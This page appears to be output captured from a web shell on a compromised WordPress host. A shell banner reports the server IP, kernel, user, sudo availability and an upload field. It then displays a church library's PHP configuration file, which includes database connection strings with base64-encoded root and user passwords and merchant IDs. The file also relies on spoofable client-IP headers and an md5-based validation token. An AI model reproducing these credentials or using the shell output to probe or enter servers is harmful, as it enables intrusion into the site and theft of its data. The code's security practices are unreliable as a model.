Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/core/config/ |
Upload File : |
<?php
require_once __DIR__ . "/class.mysql.php";
define('CART_NONE', 0);
define('CART_GOOGLE', 1);
define('CART_SANDBOX', 2);
define('LOAN_DURATION', 28); // 28 days for borrowing a book
define('ADMIN_EMAIL', 'books@hopeinstoughton.org');
// These are special barcodes. The barcodes themselves can be anything, but
// db_type must be 'x'; db_member should be one of the following:
define('BARCODE_LOANREPORT', 10); // not used
define('BARCODE_DONE', 50);
define('BARCODE_WRITEOFF', 70);
define('BARCODE_CANCEL', 80);
define('BARCODE_PURCHASE', 90);
define('BARCODE_RETURN', 100);
// 110 - 130 used for reprints
define('BARCODE_STOCKTAKE', 140);
global $PAYMET;
$PAYMET = array('1' => 'Ca&sh', '2' => '&Check', '3' => 'C&redit Card', '4' => '&Account');
class config {
function __construct() {
$host = isset($_SERVER['HTTPS']) ? strtolower($_SERVER['HTTPS']) : '';
$host = ($host == 'on') ? 'https://' : 'http://';
$host .= isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$this->host = $host;
$this_url = empty($_SERVER['REQUEST_URI']) ? '' : $_SERVER['REQUEST_URI'];
if (($p = strpos($this_url, '?')) !== FALSE) $this_url = substr($this_url, 0, $p);
$this_url = !empty($this_url) ? $host . $this_url : $host . $_SERVER['PHP_SELF'];
$this_url = str_replace('/index.php', '/', $this_url);
$this->default_controller = 'main'; // Default controller to load
$this->error_controller = 'err'; // Controller used for errors (e.g. 404, 500 etc)
$this->base_url = $host;
$this->current_url = $this_url;
$this->query = !empty($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : '';
$this->request_method = empty($_SERVER['REQUEST_METHOD']) ? 'GET' : $_SERVER['REQUEST_METHOD'];
$this->filetype = ''; // only used on actions that return data
// if a post, process JSON
$content_type = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
if ($this->isPost() && strpos($content_type, '/json') !== FALSE) { // Content-Type: application/json
$inputJSON = file_get_contents('php://input');
$_POST = json_decode( $inputJSON, TRUE );
}
$this->SESSION = session_id();
$this->ipaddress = $this->getClientIP();
$this->defaultLanguage = $this->getPreferredLanguage();
$MACHINE_NAME = @getenv('COMPUTERNAME');
if (!empty($MACHINE_NAME)) {
$MACHINE_NAME = strtolower(trim($MACHINE_NAME)); // Windows
} else {
$MACHINE_NAME = trim(`uname -n`); // Linux
}
global $MACHINE_NAME, $DATABASE, $CART;
if ($MACHINE_NAME == 'library') {
$DATABASE = new database_my('mysql://root:UHNhbG0xMTk=@127.0.0.1/stoughton_books');
$CART = CART_NONE;
} else {
$DATABASE = new database_my('mysql://stoughton_db:c2Nyb2Q2NXZhbkVz@127.0.0.1/hopeinst_books');
$fn = isset($_GET['fn']) ? $_GET['fn'] : '';
$CART = ($fn == 'test') ? CART_TEST : CART_GOOGLE;
$CART = CART_NONE;
}
switch($CART) {
case CART_NONE:
define('GOOGLE_MERCHANT', '');
define('GOOGLE_SANDBOX', '');
break;
case CART_GOOGLE:
define('GOOGLE_MERCHANT', '402902967916334');
define('GOOGLE_SANDBOX', '');
break;
case CART_SANDBOX: // http://checkout.google.com/support/sell/bin/answer.py?hl=en&answer=134469
define('GOOGLE_MERCHANT', '348700085944096');
define('GOOGLE_SANDBOX', ' post-cart-to-sandbox="true"');
break;
}
global $VARIABLE;
$VARIABLE['css'] =
$VARIABLE['javascript'] =
$VARIABLE['javascript_footer'] =
$VARIABLE['include_body'] =
$VARIABLE['javascript_onload'] =
$VARIABLE['javascript_include'] = '';
if (isset($_SERVER['REMOTE_ADDR'])) {
$this->VALIDATION = md5("blueberry:{$_SERVER['REMOTE_ADDR']}:{$_SERVER['HTTP_USER_AGENT']}");
} else {
$this->VALIDATION = md5(uniqid(rand(), 1)); // changes every time - so no login
}
$this->auth = isset($_COOKIE['auth']) ? $_COOKIE['auth'] : '';
}
public function isPost() {
return $this->request_method == 'POST';
}
// Get Client's IP address
public function getClientIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])){
$x = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$x = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED'])){
$x = $_SERVER['HTTP_X_FORWARDED'];
} elseif (!empty($_SERVER['HTTP_FORWARDED_FOR'])){
$x = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (!empty($_SERVER['HTTP_FORWARDED'])){
$x = $_SERVER['HTTP_FORWARDED'];
} elseif (!empty($_SERVER['REMOTE_ADDR'])){
return $_SERVER['REMOTE_ADDR'];
} else {
return 'UNKNOWN';
}
// prevent injection attacks on text contained in http headers
return str_replace(array('<', '|', '>', '&', ';', '`', '\\', '/'), '.', $x);
}
// http_negotiate_language
public function getPreferredLanguage() {
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$langlist = explode(',', $lang);
$langlist[] = 'en;q=0.01';
$output = array();
foreach($langlist as $langitem) { // nl,en-us;q=0.7,en;q=0.3 // qualifier
list($langid, $qualifier) = explode(';', $langitem . ';');
$langid = strtolower($langid);
if ($qualifier != '') {
list($filler, $value) = explode('=', $qualifier);
} else {
$value = '1.0';
}
if (!isset($output[$langid])) $output[$langid] = intval($value * 100);
}
// sort by the qualifier
asort($output, SORT_NUMERIC);
$output = array_reverse($output);
foreach($output as $lang => $value) {
list($baselang, $locale) = explode('-', $lang . '-'); // Portugal (Brasil) treated same as Portuguese (portugal) :(
if (isset($this->LANGUAGES[$baselang])) return $baselang; // will always return something - english is the default
}
}
private function GetAcceptTypes() {
$accept_arr = array();
$list = explode(',', empty($_SERVER['HTTP_ACCEPT']) ? '' : $_SERVER['HTTP_ACCEPT']);
foreach($list as $item) {
if (($p = strpos($item, ';')) !== FALSE) {
$q = preg_match('~q\s*=\s*(1|0\.[0-9]+)$~i', $item, $match) ? floatval($match[1]) : 0;
$item = substr($item, 0, $p);
} else {
$q = 1;
}
$accept_arr[$item] = $q;
}
arsort($accept_arr, SORT_NUMERIC);
return $accept_arr;
}
public function getPreferredDocumentType() {
$accept = $this->GetAcceptTypes();
reset($accept);
return key($accept);
}
public function retrieveSegments() {
// Get request url and script url
$request_url = (isset($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : ''; // /controller/model
$script_url = (isset($_SERVER['PHP_SELF'])) ? $_SERVER['PHP_SELF'] : ''; // /index.php
/* if ($CORE->FROM_SHELL && isset($_GET['uri'])) { // php index.php "uri=controller/function"
$request_url = $_GET['uri'];
if (substr($request_url, 0, 1) != '/') $request_url = '/' . $request_url;
} */
// Get our url path and trim the / of the left and the right
$url = '';
if($request_url != $script_url) {
$temp = str_replace('index.php', '', $script_url);
$url = trim(preg_replace('/'. str_replace('/', '\/', $temp) .'/', '', $request_url, 1), '/');
}
if (($p = strpos($url, '?')) !== FALSE) { // drop Query_string, if present
$url = substr($url, 0, $p);
}
$segments = explode('/', $url);
return $segments;
}
}
function quote_Param_AsNumber($name, $default = 0) {
global $isPost;
if ($isPost) {
return isset($_POST[$name]) ? intval($_POST[$name]) : $default;
} else {
return isset($_GET[$name]) ? intval($_GET[$name]) : $default;
}
}
function quote_Param_AsString($name, $default = '') {
global $isPost;
if ($isPost) {
$value = isset($_POST[$name]) ? $_POST[$name] : $default;
return trim($value);
} else {
$value = isset($_GET[$name]) ? $_GET[$name] : $default;
return trim(str_replace(array('<', '>', '&', '\\', '"', "'"), '', $value));
}
}
function ip_AsMember(&$ITEM) {
$surname = strtoupper($ITEM['bm_surname']);
$firstname = $ITEM['bm_firstname'];
if ($firstname != '') {
if ($surname == '') {
$surname = $firstname;
} else {
$surname .= ", $firstname";
}
}
return $surname;
}
function ip_AsTitle(&$ITEM, $includetitle = 1) {
$name1 = isset($ITEM['ba_name1']) ? $ITEM['ba_name1'] : '';
$name2 = isset($ITEM['ba_name2']) ? $ITEM['ba_name2'] : '';
if ($name2 != '') {
if ($name1 != '') $name1 .= '; ';
$name1 .= $name2;
}
if ($includetitle) {
$title = isset($ITEM['bt_title']) ? $ITEM['bt_title'] : '';
if ($name1 == '') return $title;
if ($includetitle == 2) {
$name1 = htmlspecialchars($title) . '; <em>' . htmlspecialchars($name1) . '</em>';
} else {
$name1 = $title . '; ' . $name1;
}
}
return $name1;
}
function ip_ItemCost(&$ITEM, $minimum = 0.25, $delta = 0) {
$cost = $ITEM['ds_cost'];
$wear = $ITEM['ds_wear'] + $delta;
$step = $cost / 20;
$cost = $cost - $wear * $step;
if ($cost < $minimum) $cost = $minimum;
return sprintf('%01.2f', $cost);
}
function quote_getAccessKey(&$prompt) {
$accesskey = '';
if (($p = strpos($prompt, '&')) !== FALSE) {
$accesskey = substr($prompt, $p + 1, 1);
$prompt = substr($prompt, 0, $p) . '<u>' . $accesskey . '</u>' . substr($prompt, $p + 2);
$accesskey = ' accesskey="' . strtoupper($accesskey) . '"';
}
return $accesskey;
}
function ip_GetRandomID($table, $field) {
global $DATABASE;
$crc = mt_rand(1, 9999999) - 1;
do {
$crc++;
if ($crc >= -1 && $crc < 10) $crc = 10;
$DATA = $DATABASE->Lookup("select $field from $table where $field=%d", $crc);
} while ($DATA['__existing']);
return $crc;
}
function GetStatelist() {
return array('' => 'Please select State',
'AL' => 'Alabama',
'AK' => 'Alaska',
'AZ' => 'Arizona',
'AR' => 'Arkansas',
'CA' => 'California',
'CO' => 'Colorado',
'CT' => 'Connecticut',
'DE' => 'Delaware',
'DC' => 'District of Columbia',
'FL' => 'Florida',
'GA' => 'Georgia',
'HI' => 'Hawaii',
'ID' => 'Idaho',
'IL' => 'Illinois',
'IN' => 'Indiana',
'IA' => 'Iowa',
'KS' => 'Kansas',
'KY' => 'Kentucky',
'LA' => 'Louisiana',
'ME' => 'Maine',
'MD' => 'Maryland',
'MA' => 'Massachusetts',
'MI' => 'Michigan',
'MN' => 'Minnesota',
'MS' => 'Mississippi',
'MO' => 'Missouri',
'MT' => 'Montana',
'NE' => 'Nebraska',
'NV' => 'Nevada',
'NH' => 'New Hampshire',
'NJ' => 'New Jersey',
'NM' => 'New Mexico',
'NY' => 'New York',
'NC' => 'North Carolina',
'ND' => 'North Dakota',
'OH' => 'Ohio',
'OK' => 'Oklahoma',
'OR' => 'Oregon',
'PA' => 'Pennsylvania',
'RI' => 'Rhode Island',
'SC' => 'South Carolina',
'SD' => 'South Dakota',
'TN' => 'Tennessee',
'TX' => 'Texas',
'UT' => 'Utah',
'VT' => 'Vermont',
'VA' => 'Virginia',
'WA' => 'Washington',
'WV' => 'West Virginia',
'WI' => 'Wisconsin',
'WY' => 'Wyoming' );
}
/*
<?php
global $config, $DATABASE, $HOST, $THIS_URL;
$config['default_controller'] = 'main'; // Default controller to load
$config['error_controller'] = 'err'; // Controller used for errors (e.g. 404, 500 etc)
$HOST = isset($_SERVER['HTTPS']) ? strtolower($_SERVER['HTTPS']) : '';
$HOST = ($HOST == 'on') ? 'https://' : 'http://';
$HOST .= isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$config['base_url'] = $HOST;
$THIS_URL = empty($_SERVER['REQUEST_URI']) ? '' : $_SERVER['REQUEST_URI'];
if (($p = strpos($THIS_URL, '?')) !== FALSE) $THIS_URL = substr($THIS_URL, 0, $p);
$THIS_URL = !empty($THIS_URL) ? $HOST . $THIS_URL : $HOST . $_SERVER['PHP_SELF'];
$THIS_URL = str_replace('/index.php', '/', $THIS_URL);
$PAYMET = array('1' => 'Ca&sh', '2' => '&Check', '3' => 'C&redit Card', '4' => '&Account');
$MACHINE_NAME = @getenv('COMPUTERNAME');
if (!empty($MACHINE_NAME)) {
$MACHINE_NAME = strtolower(trim($MACHINE_NAME)); // Windows
} else {
$MACHINE_NAME = trim(`uname -n`); // Linux
}
if ($MACHINE_NAME == 'library') {
$DATABASE = new database_my('mysql://root:UHNhbG0xMTk=@127.0.0.1/stoughton_books');
$CART = CART_NONE;
} else {
$DATABASE = new database_my('mysql://stoughton_db:c2Nyb2Q2NXZhbkVz@127.0.0.1/stoughton_books');
$fn = isset($_GET['fn']) ? $_GET['fn'] : '';
$CART = ($fn == 'test') ? CART_TEST : CART_GOOGLE;
$CART = CART_NONE;
}
switch($CART) {
case CART_NONE:
define('GOOGLE_MERCHANT', '');
define('GOOGLE_SANDBOX', '');
break;
case CART_GOOGLE:
define('GOOGLE_MERCHANT', '402902967916334');
define('GOOGLE_SANDBOX', '');
break;
case CART_SANDBOX: // http://checkout.google.com/support/sell/bin/answer.py?hl=en&answer=134469
define('GOOGLE_MERCHANT', '348700085944096');
define('GOOGLE_SANDBOX', ' post-cart-to-sandbox="true"');
break;
}
global $VARIABLE, $isPost;
$VARIABLE['css'] =
$VARIABLE['javascript'] =
$VARIABLE['javascript_footer'] =
$VARIABLE['include_body'] =
$VARIABLE['javascript_onload'] =
$VARIABLE['javascript_include'] = '';
$isPost = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
$isPost = $isPost == 'POST';
global $VALIDATION, $auth;
if (isset($_SERVER['REMOTE_ADDR'])) {
$VALIDATION = md5("blueberry:{$_SERVER['REMOTE_ADDR']}:{$_SERVER['HTTP_USER_AGENT']}");
} else {
$VALIDATION = md5(uniqid(rand(), 1)); // changes every time - so no login
}
$auth = isset($_COOKIE['auth']) ? $_COOKIE['auth'] : '';
function conf_RetrieveSegments() {
$url = '';
// Get request url and script url
$request_url = (isset($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : '';
$script_url = (isset($_SERVER['PHP_SELF'])) ? $_SERVER['PHP_SELF'] : '';
// Get our url path and trim the / of the left and the right
if($request_url != $script_url) {
$temp = str_replace('index.php', '', $script_url);
$url = trim(preg_replace('/'. str_replace('/', '\/', $temp) .'/', '', $request_url, 1), '/');
}
if (($p = strpos($url, '?')) !== FALSE) { // drop Query_string, if present
$url = substr($url, 0, $p);
}
if ($url == 'admin/barcode.php') $url = 'terminal/read_scanner';
$segments = explode('/', $url);
return $segments;
}
function ip_AsMember(&$ITEM) {
$surname = strtoupper($ITEM['bm_surname']);
$firstname = $ITEM['bm_firstname'];
if ($firstname != '') {
if ($surname == '') {
$surname = $firstname;
} else {
$surname .= ", $firstname";
}
}
return $surname;
}
function ip_AsTitle(&$ITEM, $includetitle = 1) {
$name1 = isset($ITEM['ba_name1']) ? $ITEM['ba_name1'] : '';
$name2 = isset($ITEM['ba_name2']) ? $ITEM['ba_name2'] : '';
if ($name2 != '') {
if ($name1 != '') $name1 .= '; ';
$name1 .= $name2;
}
if ($includetitle) {
$title = isset($ITEM['bt_title']) ? $ITEM['bt_title'] : '';
if ($name1 == '') return $title;
if ($includetitle == 2) {
$name1 = htmlspecialchars($title) . '; <em>' . htmlspecialchars($name1) . '</em>';
} else {
$name1 = $title . '; ' . $name1;
}
}
return $name1;
}
function ip_ItemCost(&$ITEM, $minimum = 0.25, $delta = 0) {
$cost = $ITEM['ds_cost'];
$wear = $ITEM['ds_wear'] + $delta;
$step = $cost / 20;
$cost = $cost - $wear * $step;
if ($cost < $minimum) $cost = $minimum;
return sprintf('%01.2f', $cost);
}
function quote_getAccessKey(&$prompt) {
$accesskey = '';
if (($p = strpos($prompt, '&')) !== FALSE) {
$accesskey = substr($prompt, $p + 1, 1);
$prompt = substr($prompt, 0, $p) . '<u>' . $accesskey . '</u>' . substr($prompt, $p + 2);
$accesskey = ' accesskey="' . strtoupper($accesskey) . '"';
}
return $accesskey;
}
function ip_GetRandomID($table, $field) {
global $DATABASE;
$crc = mt_rand(1, 9999999) - 1;
do {
$crc++;
if ($crc >= -1 && $crc < 10) $crc = 10;
$DATA = $DATABASE->Lookup("select $field from $table where $field=%d", $crc);
} while ($DATA['__existing']);
return $crc;
}
function GetStatelist() {
return array('' => 'Please select State',
'AL' => 'Alabama',
'AK' => 'Alaska',
'AZ' => 'Arizona',
'AR' => 'Arkansas',
'CA' => 'California',
'CO' => 'Colorado',
'CT' => 'Connecticut',
'DE' => 'Delaware',
'DC' => 'District of Columbia',
'FL' => 'Florida',
'GA' => 'Georgia',
'HI' => 'Hawaii',
'ID' => 'Idaho',
'IL' => 'Illinois',
'IN' => 'Indiana',
'IA' => 'Iowa',
'KS' => 'Kansas',
'KY' => 'Kentucky',
'LA' => 'Louisiana',
'ME' => 'Maine',
'MD' => 'Maryland',
'MA' => 'Massachusetts',
'MI' => 'Michigan',
'MN' => 'Minnesota',
'MS' => 'Mississippi',
'MO' => 'Missouri',
'MT' => 'Montana',
'NE' => 'Nebraska',
'NV' => 'Nevada',
'NH' => 'New Hampshire',
'NJ' => 'New Jersey',
'NM' => 'New Mexico',
'NY' => 'New York',
'NC' => 'North Carolina',
'ND' => 'North Dakota',
'OH' => 'Ohio',
'OK' => 'Oklahoma',
'OR' => 'Oregon',
'PA' => 'Pennsylvania',
'RI' => 'Rhode Island',
'SC' => 'South Carolina',
'SD' => 'South Dakota',
'TN' => 'Tennessee',
'TX' => 'Texas',
'UT' => 'Utah',
'VT' => 'Vermont',
'VA' => 'Virginia',
'WA' => 'Washington',
'WV' => 'West Virginia',
'WI' => 'Wisconsin',
'WY' => 'Wyoming' );
}
*/